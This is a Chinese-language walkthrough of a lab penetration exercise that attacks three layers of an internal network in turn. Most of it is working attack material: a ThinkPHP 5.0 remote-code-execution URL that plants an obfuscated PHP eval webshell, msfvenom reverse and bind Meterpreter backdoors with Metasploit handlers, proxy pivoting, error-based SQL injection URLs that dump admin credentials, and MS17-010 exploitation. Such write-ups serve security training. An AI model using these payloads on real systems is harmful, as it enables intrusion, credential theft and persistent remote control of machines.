置如下图:
其中,第一层和第二层设置两个网卡,第三层设置一个网卡,攻击机为Window10 和Kali系统。渗透目标为攻陷各层的系统并且拿下最终的系统权限。
nmap扫描结果
我们发现第一层网络(192.168.1.11)的IP。开始扫描开放的端口:
nmap -sT -T4 192.168.1.11
目标机器开放端口情况
首先看一下80端口,发现ThinkPHP 5.0版本。
已经知道了版本号为V5.0,然后去exploit-db上搜索响应漏洞,发现存在两个远程代码执行漏洞。
exploit-db
漏洞POC:
http://192.168.1.11/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls
因此我们执行代码上传Webshell:
http://192.168.1.11/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo "<?php eval($_POST[yowell]);?>" > yowell.php
上传后发现不能成功连接Webshell,经过多次尝试后发现系统屏蔽了“$_POST”关键字。因此考虑使用base加密后的Webshell进行上传
http://192.168.1.11/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo <?php%20eval(base64_decode(ZXZhbChiYXNlNjRfZGVjb2RlKFpYWmhiQ2hpWVhObE5qUmZaR1ZqYjJSbEtFeDVPRGhRTTBKdlkwRndiR1J0Um5OTFExSm1WVVU1VkZaR2RHdGlNamw1V0ZOclMweDVPQzVqYUhJb05EY3BMbEJuS1NrNykpOw));?>" > yowell.php // 密码为door
成功连接蚁剑。
首先查看版本信息uname -an,发现是64位linux系统。通过msfvenom制作linux TCP反向连接后门。这里的palyload使用linux/x64/meterpreter/reverse_tcp。
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.1.12 LPORT=6789 -f elf >yowell.elf
生成后门程序后通过蚁剑上传至服务器,并且更改执行权限
chmod +x yowell.elf
MSF获取监听:
[email protected]:~# msfconsole
msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload linux/x64/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > set lhost 192.168.1.12
msf5 exploit(multi/handler) > set lport 6789
msf5 exploit(multi/handler) > options
msf5 exploit(multi/handler) > run
msf
成功获取到第一层靶机的SHELL。查看网卡情况
发现有192.168.22.0/24 网段。
为了在KALI 中访问此网段,因此进行设置代理。
首先添加第二层的路由:
run autoroute -s 192.168.22.0/24
在MSF中添加代理,以便让攻击机访问靶机2,这里使用socks4代理:
使用MSF模块扫描端口:
发现192.168.22.22是第二层靶机IP。扫描开放端口情况
配置proxychain.conf
vim /etc/proxychains.conf
加入新设置的代理,这样就可以通过proxychain3 通过代理进行操作。
socks4 192.168.1.12 1080
例如扫描第二层端口也可以用nmap。
proxychains3 nmap -Pn -sT 192.168.22.22
-Pn:扫描主机检测其是否受到数据包过滤软件或防火墙的保护。
-sT:扫描TCP数据包已建立的连接connect
由于同样开放了80端口,所以进网站看一下,这里需要给firefox设置socks代理。
源码中存在hint
robots.txt中存在敏感目录
由于之前的hint是存在SQL注入漏洞,经过多次尝试发现是报错注入漏洞:
payload:
http://192.168.22.22/index.php?r=vul&keyword=1%27%20union%20select%201,extractvalue(1,concat(0x7e,(select%20group_concat(schema_name)%20from%20information_schema.schemata)))%23
数据库名为:bagecms
http://192.168.22.22/index.php?r=vul&keyword=1%27%20union%20select%201,extractvalue(1,concat(0x7e,(select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=%22bagecms%22)))%23
表名为:bage_ad,bage_admin,bage_admin_g
http://192.168.22.22/index.php?r=vul&keyword=1%27%20union%20select%201,extractvalue(1,concat(0x7e,(select%20group_concat(column_name)%20from%20information_schema.columns%20where%20table_name=%22bage_admin%22)))%23
字段名为:username,password,realname
http://192.168.22.22/index.php?r=vul&keyword=1%27%20union%20select%201,extractvalue(1,concat(0x7e,(select%20group_concat(username,password)%20from%20bage_admin)))%23
管理员用户名admin,密码46f94c8de14fb36680850768ff1b7f2
发现md5因该为32位,然而只爆出了31位,应该是显示不完全,因此使用substring函数爆出最后一位。
http://192.168.22.22/index.php?r=vul&keyword=1%27%20union%20select%201,extractvalue(1,concat(0x7e,(select%20substring(password,32)%20from%20bage_admin)))%23
最终解密为:123qwe
接下来利用robots.txt中的后台成功登录。
在模板中可以修改php文件,因此这时候上传webshell。但是上传一句话木马后。蚁剑一直显示未知错误。
因此换种思路,想到KALI下还有一个生成webshell的weevely。
将代码复制到主页php文件中。但是连接的时候依旧不稳定。
继续换思路,直接使用msfvenom的payload 拿shell
首先生成phppayload
msfvenom -p php/meterpreter/bind_tcp LPORT=3344 -f raw > msfyowell.php
注意:由于msf添加的路由全为正向连接,即我们可以访问到靶机但靶机不能反向访问到我们,所以在选择msf马的payload时,不选择reverse_tcp反向连接payload,而是选择bind_tcp正向连接payload,bind_tcp不需要设置请求的ip,会在目标主机开启一个端口,然后我们攻击机去访问目标主机的端口即可攻陷
上传至主页,然后使用msf进行监听:
运行程序,拿到webshell。
由于此webshell因为网站程序的timeout ,shell也会随之关闭。因此我们换成MSFSHELL。首先生成elf 后门程序。通过webshell上传至服务器并且修改权限。
msfvenom -p linux/x64/meterpreter/bind_tcp LPORT=4321 -f elf > msfyowell.elf
msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload linux/x64/meterpreter/bind_tcp
msf5 exploit(multi/handler) > set RHOST 192.168.22.22
msf5 exploit(multi/handler) > set LPORT 4321
msf5 exploit(multi/handler) > options
msf5 exploit(multi/handler) > run
从靶机中可以看出第三层网段为192.168.33.0/24
添加路由,同第一层靶机方法。
run autoroute -s 192.168.33.0/24
run autoroute -p
对第三层靶机进行ip搜寻以及端口扫描
从中可知第三层靶机ip为192.168.33.23
发现开放了135,139,445,3389端口。
考虑ms17-010漏洞,使用MSF进行尝试:
成功拿到权限。
查看用户及密码hash。
获取到管理员密码。
设置代理,并连接通过WINDOW10机器的sockscap连接3389端口。
渗透完成!
如有侵权,请联系删除
推荐阅读